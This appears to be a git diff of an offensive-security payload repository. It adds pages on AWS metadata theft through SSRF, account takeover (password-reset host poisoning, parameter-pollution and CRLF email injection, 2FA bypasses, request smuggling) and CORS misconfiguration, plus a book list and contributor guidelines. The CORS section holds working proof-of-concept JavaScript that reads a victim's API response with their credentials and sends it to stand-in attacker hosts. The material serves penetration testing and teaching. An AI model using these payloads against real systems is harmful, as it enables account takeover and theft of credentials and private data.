$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
||||||
|
|
||||||
Mount the volume
|
Mount the volume
|
||||||
lsblk
|
$ lsblk
|
||||||
sudo file -s /dev/xvda1
|
$ sudo file -s /dev/xvda1
|
||||||
sudo mount /dev/xvda1 /mnt
|
$ sudo mount /dev/xvda1 /mnt
|
||||||
```
|
```
|
||||||
|
|
||||||
## Bucket informations
|
## Bucket juicy data
|
||||||
|
|
||||||
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
|
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
|
||||||
|
|
||||||
@@ -116,34 +156,13 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
|
|||||||
|
|
||||||
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
|
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
|
||||||
|
|
||||||
## Bucket Finder
|
## References
|
||||||
|
|
||||||
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
|
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
|
||||||
|
|
||||||
```powershell
|
|
||||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
|
||||||
./bucket_finder.rb my_words
|
|
||||||
./bucket_finder.rb --region ie my_words
|
|
||||||
US Standard = http://s3.amazonaws.com
|
|
||||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
|
||||||
Northern California = http://s3-us-west-1.amazonaws.com
|
|
||||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
|
||||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
|
||||||
|
|
||||||
./bucket_finder.rb --download --region ie my_words
|
|
||||||
./bucket_finder.rb --log-file bucket.out my_words
|
|
||||||
```
|
|
||||||
|
|
||||||
Use a custom wordlist for the bucket finder, can be created with
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
|
|
||||||
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
* https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
|
|
||||||
* https://digi.ninja/projects/bucket_finder.php
|
|
||||||
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
|
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
|
||||||
* [FlAWS.cloud Challenge based on AWS vulnerabilities](http://flaws.cloud/)
|
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
|
||||||
|
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
|
||||||
|
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
|
||||||
|
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
|
||||||
|
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
|
||||||
|
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)
|
||||||
|
|||||||
264
Account Takeover/README.md
Normal file
264
Account Takeover/README.md
Normal file
@@ -0,0 +1,264 @@
|
|||||||
|
# Account Takeover
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Password Reset Feature](#password-reset-feature)
|
||||||
|
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
|
||||||
|
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
|
||||||
|
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter)
|
||||||
|
* [IDOR on API Parameters](#idor-on-api-parameters)
|
||||||
|
* [Weak Password Reset Token](#weak-password-reset-token)
|
||||||
|
* [Leaking Password Reset Token](#leaking-password-reset-token)
|
||||||
|
* [Password Reset Via Username Collision](#password-reset-via-username-collision)
|
||||||
|
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
|
||||||
|
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
|
||||||
|
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
|
||||||
|
* [Account Takeover via CSRF](#account-takeover-via-csrf)
|
||||||
|
* [2FA Bypasses](#2fa-bypasses)
|
||||||
|
* [Response Manipulation](#reponse-manipulation)
|
||||||
|
* [Status Code Manipulation](#status-code-manipulation)
|
||||||
|
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
|
||||||
|
* [JS File Analysis](#js-file-analysis)
|
||||||
|
* [2FA Code Reusability](#2fa-code-reusability)
|
||||||
|
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
|
||||||
|
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
|
||||||
|
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
|
||||||
|
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
|
||||||
|
* [Backup Code Abuse](#backup-code-abuse)
|
||||||
|
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
|
||||||
|
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
|
||||||
|
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
|
||||||
|
* [Bypass 2FA with array](#bypass-2fa-with-array)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Password Reset Feature
|
||||||
|
|
||||||
|
### Password Reset Token Leak Via Referrer
|
||||||
|
|
||||||
|
1. Request password reset to your email address
|
||||||
|
2. Click on the password reset link
|
||||||
|
3. Don't change password
|
||||||
|
4. Click any 3rd party websites(eg: Facebook, twitter)
|
||||||
|
5. Intercept the request in Burp Suite proxy
|
||||||
|
6. Check if the referer header is leaking password reset token.
|
||||||
|
|
||||||
|
### Account Takeover Through Password Reset Poisoning
|
||||||
|
|
||||||
|
1. Intercept the password reset request in Burp Suite
|
||||||
|
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
|
3. Forward the request with the modified header
|
||||||
|
```http
|
||||||
|
POST https://example.com/reset.php HTTP/1.1
|
||||||
|
Accept: */*
|
||||||
|
Content-Type: application/json
|
||||||
|
Host: attacker.com
|
||||||
|
```
|
||||||
|
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
|
|
||||||
|
### Password Reset Via Email Parameter
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# parameter pollution
|
||||||
|
email=victim@mail.com&email=hacker@mail.com
|
||||||
|
|
||||||
|
# array of emails
|
||||||
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
||||||
|
|
||||||
|
# carbon copy
|
||||||
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
||||||
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
||||||
|
|
||||||
|
# separator
|
||||||
|
email=victim@mail.com,hacker@mail.com
|
||||||
|
email=victim@mail.com%20hacker@mail.com
|
||||||
|
email=victim@mail.com|hacker@mail.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### IDOR on API Parameters
|
||||||
|
|
||||||
|
1. Attacker have to login with their account and go to the **Change password** feature.
|
||||||
|
2. Start the Burp Suite and Intercept the request
|
||||||
|
3. Send it to the repeater tab and edit the parameters : User ID/email
|
||||||
|
```powershell
|
||||||
|
POST /api/changepass
|
||||||
|
[...]
|
||||||
|
("form": {"email":"victim@email.com","password":"securepwd"})
|
||||||
|
```
|
||||||
|
|
||||||
|
### Weak Password Reset Token
|
||||||
|
|
||||||
|
The password reset token should be randomly generated and unique every time.
|
||||||
|
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
|
||||||
|
|
||||||
|
* Timestamp
|
||||||
|
* UserID
|
||||||
|
* Email of User
|
||||||
|
* Firstname and Lastname
|
||||||
|
* Date of Birth
|
||||||
|
* Cryptography
|
||||||
|
* Number only
|
||||||
|
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
|
||||||
|
* Token reuse
|
||||||
|
* Token expiration date
|
||||||
|
|
||||||
|
### Leaking Password Reset Token
|
||||||
|
|
||||||
|
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
|
||||||
|
2. Inspect the server response and check for `resetToken`
|
||||||
|
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
|
### Password Reset Via Username Collision
|
||||||
|
|
||||||
|
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
|
||||||
|
2. Request a password reset with your malicious username.
|
||||||
|
3. Use the token sent to your email and reset the victim password.
|
||||||
|
4. Connect to the victim account with the new password.
|
||||||
|
|
||||||
|
The platform CTFd was vulnerable to this attack.
|
||||||
|
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
|
|
||||||
|
### Account takeover due to unicode normalization issue
|
||||||
|
|
||||||
|
- Victim account: `demo@gmail.com`
|
||||||
|
- Attacker account: `demⓞ@gmail.com`
|
||||||
|
|
||||||
|
|
||||||
|
## Account Takeover Via Cross Site Scripting
|
||||||
|
|
||||||
|
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
|
||||||
|
2. Leak the current **sessions cookie**
|
||||||
|
3. Authenticate as the user using the cookie
|
||||||
|
|
||||||
|
## Account Takeover Via HTTP Request Smuggling
|
||||||
|
|
||||||
|
Refer to **HTTP Request Smuggling** vulnerability page.
|
||||||
|
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/defparam/smuggler.git
|
||||||
|
cd smuggler
|
||||||
|
python3 smuggler.py -h
|
||||||
|
```
|
||||||
|
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
|
||||||
|
```powershell
|
||||||
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
|
X:
|
||||||
|
```
|
||||||
|
3. Final request could look like the following
|
||||||
|
```powershell
|
||||||
|
GET / HTTP/1.1
|
||||||
|
Transfer-Encoding: chunked
|
||||||
|
Host: something.com
|
||||||
|
User-Agent: Smuggler/v1.0
|
||||||
|
Content-Length: 83
|
||||||
|
|
||||||
|
0
|
||||||
|
|
||||||
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
|
X: X
|
||||||
|
```
|
||||||
|
|
||||||
|
Hackerone reports exploiting this bug
|
||||||
|
* https://hackerone.com/reports/737140
|
||||||
|
* https://hackerone.com/reports/771666
|
||||||
|
|
||||||
|
## Account Takeover via CSRF
|
||||||
|
|
||||||
|
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
|
||||||
|
2. Send the payload
|
||||||
|
|
||||||
|
## Account Takeover via JWT
|
||||||
|
|
||||||
|
JSON Web Token might be used to authenticate an user.
|
||||||
|
|
||||||
|
* Edit the JWT with another User ID / Email
|
||||||
|
* Check for weak JWT signature
|
||||||
|
|
||||||
|
## 2FA Bypasses
|
||||||
|
|
||||||
|
### Response Manipulation
|
||||||
|
|
||||||
|
In response if `"success":false`
|
||||||
|
Change it to `"success":true`
|
||||||
|
|
||||||
|
### Status Code Manipulation
|
||||||
|
|
||||||
|
If Status Code is **4xx**
|
||||||
|
Try to change it to **200 OK** and see if it bypass restrictions
|
||||||
|
|
||||||
|
### 2FA Code Leakage in Response
|
||||||
|
|
||||||
|
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
|
||||||
|
|
||||||
|
### JS File Analysis
|
||||||
|
|
||||||
|
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
|
||||||
|
|
||||||
|
### 2FA Code Reusability
|
||||||
|
|
||||||
|
Same code can be reused
|
||||||
|
|
||||||
|
### Lack of Brute-Force Protection
|
||||||
|
|
||||||
|
Possible to brute-force any length 2FA Code
|
||||||
|
|
||||||
|
### Missing 2FA Code Integrity Validation
|
||||||
|
|
||||||
|
Code for any user acc can be used to bypass the 2FA
|
||||||
|
|
||||||
|
### CSRF on 2FA Disabling
|
||||||
|
|
||||||
|
No CSRF Protection on disabling 2FA, also there is no auth confirmation
|
||||||
|
|
||||||
|
### Password Reset Disable 2FA
|
||||||
|
|
||||||
|
2FA gets disabled on password change/email change
|
||||||
|
|
||||||
|
### Backup Code Abuse
|
||||||
|
|
||||||
|
Bypassing 2FA by abusing the Backup code feature
|
||||||
|
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
|
||||||
|
|
||||||
|
### Clickjacking on 2FA Disabling Page
|
||||||
|
|
||||||
|
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
|
||||||
|
|
||||||
|
### Enabling 2FA doesn't expire Previously active Sessions
|
||||||
|
|
||||||
|
If the session is already hijacked and there is a session timeout vuln
|
||||||
|
|
||||||
|
### Bypass 2FA with null or 000000
|
||||||
|
Enter the code **000000** or **null** to bypass 2FA protection.
|
||||||
|
|
||||||
|
### Bypass 2FA with array
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"otp":[
|
||||||
|
"1234",
|
||||||
|
"1111",
|
||||||
|
"1337", // GOOD OTP
|
||||||
|
"2222",
|
||||||
|
"3333",
|
||||||
|
"4444",
|
||||||
|
"5555"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## TODO
|
||||||
|
|
||||||
|
* Broken cryptography
|
||||||
|
* Session hijacking
|
||||||
|
* OAuth misconfiguration
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [10 Password Reset Flaws - Anugrah SR](http://anugrahsr.me/posts/10-Password-reset-flaws/)
|
||||||
|
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be)
|
||||||
|
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
|
||||||
|
- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
|
||||||
|
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
43
BOOKS.md
Normal file
43
BOOKS.md
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
# Books
|
||||||
|
|
||||||
|
> Grab a book and relax. Some of the best books in the industry.
|
||||||
|
|
||||||
|
- [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing)
|
||||||
|
- [Android Hacker's Handbook by Joshua J. Drake et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
|
||||||
|
- [Android Security Internals: An In-Depth Guide to Android's Security Architecture by Nikolay Elenkov (2015)](https://nostarch.com/androidsecurity)
|
||||||
|
- [Attacking Network Protocols: A Hacker's Guide to Capture, Analysis, and Exploitation by James Forshaw (2018)](https://nostarch.com/networkprotocols)
|
||||||
|
- [Black Hat Go: Go Programming for Hackers and Pentesters by Tom Steele, Chris Patten, and Dan Kottmann (2020)](https://nostarch.com/blackhatgo)
|
||||||
|
- [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz (2014)](https://www.goodreads.com/book/show/22299369-black-hat-python)
|
||||||
|
- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec)
|
||||||
|
- [Car Hacker's Handbook by Craig Smith (2016)](https://www.nostarch.com/carhacking)
|
||||||
|
- [Cyberjutsu: Cybersecurity for the Modern Ninja by Ben McCarty (2021)](https://nostarch.com/cyberjutsu)
|
||||||
|
- [Foundations of Information Security: A Straightforward Introduction by Jason Andress (2019)](https://nostarch.com/foundationsinfosec)
|
||||||
|
- [Game Hacking: Developing Autonomous Bots for Online Games by Nick Cano (2016)](https://nostarch.com/gamehacking)
|
||||||
|
- [Gray Hat Python: Python Programming for Hackers and Reverse Engineers by Justin Seitz (2009)](https://www.goodreads.com/book/show/5044768-gray-hat-python)
|
||||||
|
- [Hacking: The Art of Exploitation by Jon Erickson (2004)](https://www.goodreads.com/book/show/61619.Hacking)
|
||||||
|
- [iOS Hacker's Handbook by Charlie Miller et al. (2012)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
|
||||||
|
- [Metasploit: The Penetration Tester's Guide by David Kennedy (2011)](https://www.nostarch.com/metasploit)
|
||||||
|
- [OWASP Testing Guide: Stable](https://owasp.org/www-project-web-security-testing-guide/stable/)
|
||||||
|
- [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman (2014)](https://nostarch.com/pentesting)
|
||||||
|
- [Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments by Matt Burrough (2018)](https://nostarch.com/azure)
|
||||||
|
- [Pratical Binary Analysis: Build Your Own Linux Tools for Binary instrumentation, Analysis, and Disassembly by Dennis Andriesse (2019)](https://nostarch.com/binaryanalysis)
|
||||||
|
- [Pratical Forensic Imaging: Securing Digital Evidence with Linux Tools by Bruce Nikkel (2016)](https://nostarch.com/forensicimaging)
|
||||||
|
- [Pratical IoT Hacking: The Definitive Guide to Attacking the Internet of Things by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou and Beau Woods (2021)](https://nostarch.com/practical-iot-hacking)
|
||||||
|
- [Practical Doomsday: A User's Guide to the End of the World by Michal Zalewski (2022)](https://nostarch.com/practical-doomsday)
|
||||||
|
- [Practical Social Engineering: A Primer for the Ethical Hacker by Joe Gray (2022)](https://nostarch.com/practical-social-engineering)
|
||||||
|
- [Real-World Bug Hunting: A Field Guide to Web Hacking by Peter Yaworski (2019)](https://nostarch.com/bughunting)
|
||||||
|
- [Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus (2019)](https://nostarch.com/rootkits)
|
||||||
|
- [The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime by Jon DiMaggio (2022)](https://nostarch.com/art-cyberwarfare)
|
||||||
|
- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
|
||||||
|
- [The Browser Hacker's Handbook by Wade Alcorn et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
|
||||||
|
- [The Database Hacker's Handbook, David Litchfield et al. (2005)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
|
||||||
|
- [The Hacker Playbook: Practical Guide To Penetration Testing by Peter Kim (2014)](https://www.goodreads.com/book/show/21846565-the-hacker-playbook)
|
||||||
|
- [The Hacker Playbook 2: Practical Guide to Penetration Testing by Peter Kim (2015)](https://www.goodreads.com/book/show/25791488-the-hacker-playbook-2)
|
||||||
|
- [The Hacker Playbook 3: Practical Guide to Penetration Testing (Red Team Edition) by Peter Kim (2018)](https://www.goodreads.com/book/show/40028366-the-hacker-playbook-3)
|
||||||
|
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi (2009)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
|
||||||
|
- [The Hardware Hacking Handbook by Jasper van Woudenberg & Colin O'Flynn (2022)](https://nostarch.com/hardwarehacking)
|
||||||
|
- [The Mobile Application Hacker's Handbook by Dominic Chell et al. (2015)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
|
||||||
|
- [The Shellcoders Handbook by Chris Anley et al. (2007)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
|
||||||
|
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto (2011)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
|
||||||
|
- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (2012)](https://www.goodreads.com/book/show/16192263-violent-python)
|
||||||
|
- [Web Hacking 101](https://leanpub.com/web-hacking-101)
|
||||||
63
CONTRIBUTING.md
Normal file
63
CONTRIBUTING.md
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
# CONTRIBUTING
|
||||||
|
|
||||||
|
PayloadsAllTheThings' Team :heart: pull requests :)
|
||||||
|
Feel free to improve with your payloads and techniques !
|
||||||
|
|
||||||
|
You can also contribute with a :beers: IRL, or using the sponsor button.
|
||||||
|
|
||||||
|
## Pull Requests Guidelines
|
||||||
|
|
||||||
|
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
|
||||||
|
|
||||||
|
- Payloads must be sanitized
|
||||||
|
- Use `id`, and `whoami`, for RCE Proof of Concepts
|
||||||
|
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
|
||||||
|
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
|
||||||
|
- Use `Administrator` for privileged users and `User` for normal account
|
||||||
|
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
|
||||||
|
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
|
||||||
|
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :)
|
||||||
|
|
||||||
|
## Techniques Folder
|
||||||
|
|
||||||
|
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
|
||||||
|
|
||||||
|
- README.md - vulnerability description and how to exploit it, including several payloads, more below
|
||||||
|
- Intruder - a set of files to give to Burp Intruder
|
||||||
|
- Images - pictures for the README.md
|
||||||
|
- Files - some files referenced in the README.md
|
||||||
|
|
||||||
|
## README.md format
|
||||||
|
|
||||||
|
Use the following example to create a new technique `README.md` file.
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
# Vulnerability Title
|
||||||
|
|
||||||
|
> Vulnerability description
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Something](#something)
|
||||||
|
* [Subentry 1](#sub1)
|
||||||
|
* [Subentry 2](#sub2)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [Tool 1](https://example.com)
|
||||||
|
- [Tool 2](https://example.com)
|
||||||
|
|
||||||
|
## Something
|
||||||
|
|
||||||
|
Quick explanation
|
||||||
|
|
||||||
|
### Subentry 1
|
||||||
|
|
||||||
|
Something about the subentry 1
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Blog title - Author, Date](https://example.com)
|
||||||
|
```
|
||||||
262
CORS Misconfiguration/README.md
Normal file
262
CORS Misconfiguration/README.md
Normal file
@@ -0,0 +1,262 @@
|
|||||||
|
# CORS Misconfiguration
|
||||||
|
|
||||||
|
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Prerequisites](#prerequisites)
|
||||||
|
* [Exploitation](#exploitation)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
|
||||||
|
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
* BURP HEADER> `Origin: https://evil.com`
|
||||||
|
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
|
||||||
|
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
|
||||||
|
|
||||||
|
### Vulnerable Example: Origin Reflection
|
||||||
|
|
||||||
|
#### Vulnerable Implementation
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
GET /endpoint HTTP/1.1
|
||||||
|
Host: victim.example.com
|
||||||
|
Origin: https://evil.com
|
||||||
|
Cookie: sessionid=...
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Access-Control-Allow-Origin: https://evil.com
|
||||||
|
Access-Control-Allow-Credentials: true
|
||||||
|
|
||||||
|
{"[private API key]"}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
This PoC requires that the respective JS script is hosted at `evil.com`
|
||||||
|
|
||||||
|
```js
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.onload = reqListener;
|
||||||
|
req.open('get','https://victim.example.com/endpoint',true);
|
||||||
|
req.withCredentials = true;
|
||||||
|
req.send();
|
||||||
|
|
||||||
|
function reqListener() {
|
||||||
|
location='//atttacker.net/log?key='+this.responseText;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
or
|
||||||
|
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<h2>CORS PoC</h2>
|
||||||
|
<div id="demo">
|
||||||
|
<button type="button" onclick="cors()">Exploit</button>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
function cors() {
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.onreadystatechange = function() {
|
||||||
|
if (this.readyState == 4 && this.status == 200) {
|
||||||
|
document.getElementById("demo").innerHTML = alert(this.responseText);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xhr.open("GET",
|
||||||
|
"https://victim.example.com/endpoint", true);
|
||||||
|
xhr.withCredentials = true;
|
||||||
|
xhr.send();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerable Example: Null Origin
|
||||||
|
|
||||||
|
#### Vulnerable Implementation
|
||||||
|
|
||||||
|
It's possible that the server does not reflect the complete `Origin` header but
|
||||||
|
that the `null` origin is allowed. This would look like this in the server's
|
||||||
|
response:
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /endpoint HTTP/1.1
|
||||||
|
Host: victim.example.com
|
||||||
|
Origin: null
|
||||||
|
Cookie: sessionid=...
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Access-Control-Allow-Origin: null
|
||||||
|
Access-Control-Allow-Credentials: true
|
||||||
|
|
||||||
|
{"[private API key]"}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
This can be exploited by putting the attack code into an iframe using the data
|
||||||
|
URI scheme. If the data URI scheme is used, the browser will use the `null`
|
||||||
|
origin in the request:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.onload = reqListener;
|
||||||
|
req.open('get','https://victim.example.com/endpoint',true);
|
||||||
|
req.withCredentials = true;
|
||||||
|
req.send();
|
||||||
|
|
||||||
|
function reqListener() {
|
||||||
|
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
|
||||||
|
};
|
||||||
|
</script>"></iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerable Example: XSS on Trusted Origin
|
||||||
|
|
||||||
|
If the application does implement a strict whitelist of allowed origins, the
|
||||||
|
exploit codes from above do not work. But if you have an XSS on a trusted
|
||||||
|
origin, you can inject the exploit coded from above in order to exploit CORS
|
||||||
|
again.
|
||||||
|
|
||||||
|
```
|
||||||
|
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerable Example: Wildcard Origin `*` without Credentials
|
||||||
|
|
||||||
|
If the server responds with a wildcard origin `*`, **the browser does never send
|
||||||
|
the cookies**. However, if the server does not require authentication, it's still
|
||||||
|
possible to access the data on the server. This can happen on internal servers
|
||||||
|
that are not accessible from the Internet. The attacker's website can then
|
||||||
|
pivot into the internal network and access the server's data without authentication.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
* is the only wildcard origin
|
||||||
|
